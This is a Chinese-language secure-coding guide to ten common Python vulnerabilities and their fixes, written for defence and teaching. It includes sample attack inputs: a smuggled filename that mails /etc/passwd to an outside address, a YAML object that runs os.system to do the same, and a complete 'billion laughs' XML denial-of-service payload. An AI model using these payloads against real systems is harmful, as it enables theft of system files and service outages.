Python开发中必须警惕的十大安全漏洞与修复方案
本文深入剖析Python应用中常见的十大安全隐患,涵盖输入注入、断言误用、计时攻击、临时文件、YAML与XML解析风险、依赖污染及序列化问题。针对每种漏洞提供具体的代码示例与修复建议,帮助开发者构建更安全的Python应用。
一、输入注入
注入攻击在软件生态中极为普遍,其影响范围跨越所有编程语言、框架及运行环境,是开发者需要首要防范的风险之一。
SQL注入通常发生在直接拼接字符串构建SQL查询语句时,未将变量与字面量正确隔离。关于SQL注入可能存在的复杂变体及攻击路径,可参考https://www.jb51.net/article/187001.htm获取详细信息。
命令注入风险常出现在使用 popen、subprocess 或 os.system 等函数调用外部进程时。若直接将用户输入的变量作为命令行参数传递,攻击者可能通过构造恶意参数执行非预期的系统命令。
以下是一个简单的脚本示例,它尝试根据用户提供的文件名调用子进程:
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
攻击者可将 filename 参数设置为“; cat / etc / passwd | mail them@domain.com,从而执行其他具有同等危害性的恶意操作。
修复:
若使用Web框架,应利用框架内置的输入清理工具。除非有充分理由,否则严禁手动拼接SQL查询字符串;大多数ORM框架已内置防注入的消毒机制。
对于Shell命令调用,建议使用 shlex 模块对输入参数进行正确的转义处理。
二、assert 语句(Assert statements)
切勿依赖 assert 语句来执行权限检查或防止用户访问受保护的代码段。
def foo(request, user):
assert user.is_admin, “user does not have access”
# secure code...
Python默认以 __debug__ 为 true 执行脚本,但在生产环境中,通常通过优化模式运行,这会导致 assert 语句被跳过。此时,无论用户是否为 is_admin,代码都会直接执行,造成严重的安全绕过。
修复:
assert 语句仅应用于内部开发通信,例如在单元测试中验证假设条件,或防止API被错误调用,绝不可用于生产环境的安全控制。
三、计时攻击(Timing attacks)
计时攻击通过测量比较操作所需的时间来推断算法行为或敏感数据。由于此类攻击对时间精度要求极高,通常难以在高延迟的远程网络环境中实施,因为HTTP服务器固有的可变延迟会掩盖时间差异。
然而,对于本地命令行应用程序(如密码验证工具),攻击者可通过脚本精确测量比较耗时,从而推断出正确的密码值。
修复:
建议使用 Python 3.5 引入的 secrets.compare_digest 函数来比较密码及其他敏感值,该函数采用恒定时间比较算法,可有效抵抗计时攻击。
四、临时文件(Temporary files)
在Python中创建临时文件时,若使用 mktemp() 函数生成文件名后再创建文件,存在竞争条件风险。在生成文件名与实际创建文件的时间窗口内,其他进程可能创建同名文件,导致应用加载错误数据或泄露敏感临时信息。
若调用方法不当,最新版本的Python会抛出运行时警告以提示风险。
修复:
生成临时文件时,应使用 tempfile 模块中的 mkstemp 函数,该函数能原子性地创建并打开文件,避免竞争条件。
五、使用 yaml.load
根据 PyYAML 官方文档说明:
警告:使用从不可信源接收到的数据来调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。
在知名Python项目Ansible中曾发现此类漏洞。攻击者可将恶意YAML数据提交至Ansible Vault,利用文件中定义的参数调用 os.system()。
!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
因此,直接加载用户提供的YAML文件等同于为攻击者打开系统后门。
修复:
始终优先使用 yaml.safe_load 加载YAML数据,除非有极其特殊且经过严格审查的理由,否则严禁使用 yaml.load。
六、解析 XML(Parsing XML)
若应用程序需加载或解析XML文件,通常涉及XML标准库模块。针对XML的攻击多为拒绝服务(DoS)类型,旨在使系统崩溃而非泄露数据,此类攻击在解析外部(不可信)XML文件时尤为常见。
其中著名的“十亿次笑话”(billion laughs)攻击,其Payload包含大量嵌套的“lols”。该原理利用XML实体引用,解析器在将XML加载至内存时会展开所有实体,导致内存消耗高达数GB(RAM)。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
其他攻击利用外部实体扩展。XML支持从外部URL引用实体,解析器通常会无差别地获取并加载该资源。攻击者可借此绕过防火墙,访问受限制的内部资源,因为所有请求均源自内部可信IP地址。
还需注意依赖的第三方软件包可能需要解码XML(如配置文件、远程API响应)。即使你未直接处理XML,某些依赖库可能未防范此类攻击,从而引入安全隐患。
修复:
建议使用 defusedxml 库替换标准库中的XML解析模块,该库针对此类攻击提供了额外的安全防护机制。
七、受污染的 site-packages 或 import 路径
Python的导入系统具有高度灵活性,便于在测试时打补丁或重载核心功能。
然而,这也是Python中最大的安全漏洞来源之一。
安装第三方软件包(无论是在虚拟环境还是全局环境,后者通常不推荐)都可能引入安全漏洞。市场上存在一些发布到PyPI的软件包,其名称与流行软件包相似,但实际执行任意恶意代码。
此外,依赖的依赖(transitive dependencies)可能包含漏洞,并通过导入系统覆盖Python的默认行为。
修复:
建议利用 http://PyUp.io 及其安全服务进行监控。所有应用程序应使用虚拟环境,保持全局 site-packages 尽可能干净,并检查包的签名以确保来源可信。
八、序列化 Pickles
反序列化pickle数据与YAML一样危险。Python类可声明一个 __reduce__ 方法,该方法返回字符串或包含调用参数及可调用对象的元组。攻击者可利用此机制在主机上执行任意命令。
修复:
严禁反序列化来自不受信任或未经验证来源的pickle数据。应改用更安全的序列化格式,如JSON。
九、使用系统 Python 运行时并且不修复它
大多数POSIX系统预装了Python 2版本(通常为旧版)。
Python解释器(即由C语言编写的CPython)本身可能存在漏洞。C语言中的常见安全问题多与内存分配有关,如缓冲区溢出。CPython历史上存在多个溢出漏洞,虽已在后续版本中修复,但若不及时升级Python运行时,系统仍将处于不安全状态。
修复:
生产环境应安装最新版本的Python,并及时应用安全更新补丁。
十、不修复依赖关系
与不修补Python运行时类似,定期修补第三方依赖关系同样重要。
修复:
建议使用 PyUp.io 等服务定期检查更新,向应用程序提交PR,并运行测试以确保软件包保持最新状态。
至此,关于Python常见安全问题的详细总结介绍完毕。如需了解更多Python安全相关内容,请搜索本站历史文章或继续浏览后续文章,感谢大家的支持!
免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。









